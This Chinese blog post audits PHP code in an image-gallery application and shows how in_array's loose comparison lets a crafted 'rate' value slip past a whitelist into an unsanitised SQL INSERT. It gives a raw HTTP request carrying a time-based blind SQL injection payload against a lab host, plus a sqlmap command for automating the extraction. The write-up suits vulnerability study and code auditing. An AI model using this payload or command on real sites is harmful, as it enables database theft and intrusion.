PHP审计之in_array函数缺陷绕过

PHP审计之in_array函数缺陷绕过in_array函数函数使用in_array:(PHP4,PHP5,PHP7)功能:检查数组中是否存在某个值定义:boolin_a

大家好,又见面了,我是全栈君,祝每个程序员都可以多学几门语言。

PHP审计之in_array函数缺陷绕过

in_array函数

函数使用

in_array :(PHP 4, PHP 5, PHP 7)

功能 :检查数组中是否存在某个值

定义bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )

设计缺陷

$haystack 中搜索 $needle ,如果第三个参数 $strict 的值为 TRUE ,则 in_array() 函数会进行强检查,检查 $needle 的类型是否和 $haystack 中的相同。如果找到 $haystack ,则返回 TRUE,否则返回 FALSE

in_array()函数检测上传文件时候,可未将第三个参数设置为true,从而导致攻击者构造文件名绕过服务端的检测。例如上传7shell.php在in_array()函数强制转换后变为7.php

代码审计

漏洞代码在picture.php中,

if (isset($_GET['action']))
{
  switch ($_GET['action'])
  {
    case 'add_to_favorites' :
          ...
               case 'rate' :
    {
   include_once(PHPWG_ROOT_PATH.'include/functions_rate.inc.php');
      rate_picture($page['image_id'], $_POST['rate']);
      redirect($url_self);
    }

获取action参数如果为rate的,则包含include/functions_rate.inc.php文件并且调用其中的rate_picture,并且传递页面的id值与post数据接受过来的rate。

rate_picture函数代码

function rate_picture($image_id, $rate)
{
  global $conf, $user;

  if (!isset($rate)
      or !$conf['rate']
      or !in_array($rate, $conf['rate_items']))
  {
    return false;
  }

判断$rate不为或者$conf[‘rate’]值存在,或in_array($rate, $conf['rate_items'])),则$rate值不在$conf['rate_items'])中则返回false。

PHP审计之in_array函数缺陷绕过

$conf['rate_items'] = array(0,1,2,3,4,5);

来到下面代码,下面代码中进行了sql语句的执行,并且了$rate内容进去。而$rate内容在前面的代码判断中是需要为array(0,1,2,3,4,5);数组内的int内容。

  $query = '
INSERT
  INTO '.RATE_TABLE.'
  (user_id,anonymous_id,element_id,rate,date)
  VALUES
  ('
    .$user['id'].','
    .'\''.$anonymous_id.'\','
    .$image_id.','
    .$rate
    .',NOW())
;';
  pwg_query($query);

而这时候就需要用到in_array的缺陷绕过。不然的话走到上面的判断in_array($rate, $conf['rate_items'])中地方就直接返回false,不往下走了。

POST /picture.php?/1/category/1=&slideshow=&action=rate HTTP/1.1
Host: 10.0.2.15:2345
Cookie: pwg_id=kerp8jdk2pr0vbcqp1bet4ap34
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded

rate=1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3))
sqlmap -r 1.txt -p rate -v 3 --tech=T
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/119838.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

  • 彻底关闭win10自动更新(针对已经关闭windows update项,但系统仍自动更新的问题)

    彻底关闭win10自动更新(针对已经关闭windows update项,但系统仍自动更新的问题)1、首先打开电脑服务项,找到Windowsupdate项,并双击打开属性一栏2、将启动类型替换为禁用3、点击上面的恢复,选择第一次失败后无操作。4、选择应用,并点击确定关闭。针对大部分电脑只进行上面的操作(关闭服务中的windowsupdate服务),win10仍然会自动更新,而且还会自动更改你刚才配置的启动类型,仍然自动启动(这很坑爹,我的电脑就是这样),这时需要你再进行下…

  • tomcat8 JVM 优化

    tomcat8 JVM 优化在Linux环境下设置TomcatJVM,在/opt/tomcat/bin/catalina.sh文件中找到"#—–ExecuteTheRequestedCommand"位置,设置JVM如下:#—–ExecuteTheRequestedCommand—————————————–JAVA_OPTS="$JA…

  • 2020版KALI安装教程

    2020版KALI安装教程

  • 广东公布重点项目名单:茂名天源石化碳三碳四资源利用项目等[通俗易懂]

    广东公布重点项目名单:茂名天源石化碳三碳四资源利用项目等[通俗易懂]广东省发展改革委官网3月31日公布《广东省2021年重点建设项目计划》。2021年广东共安排省重点项目1395个,总投资达7.28万亿元,年度计划投资8000亿元。石化重大项目方面:新开工项目有3个,总投资约267亿元,年度投资约60.5亿元,分别是恒力石化(惠州)PTA项目、东华能源(茂名)烷烃资源综合利用项目(一期)、茂名天源石化碳三碳四资源利用项目。续建项目有7个,总投资超过1500亿元,2021年度投资约160.9亿元。分别是埃克森美孚惠州乙烯项目、惠州石化产品结构优化及升级项目、惠州宇新轻

    2022年10月15日
  • java 设置代理服务器_网络代理

    java 设置代理服务器_网络代理importjava.io.BufferedReader;importjava.io.InputStreamReader;importjava.io.PrintWriter;importjava.net.*;importjava.util.Base64;publicclassTest{publicstaticvoidmain(String[]arg…

  • tcpdump教程_TCPDUMP

    tcpdump教程_TCPDUMPRST为重置报文段,它会导致TCP连接的快速拆迁,且不需要ack进行确认。1.针对不存在的端口的连请求客户端:#include#include#include#include#include#include#include#include#include#include#include#include#include#include

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号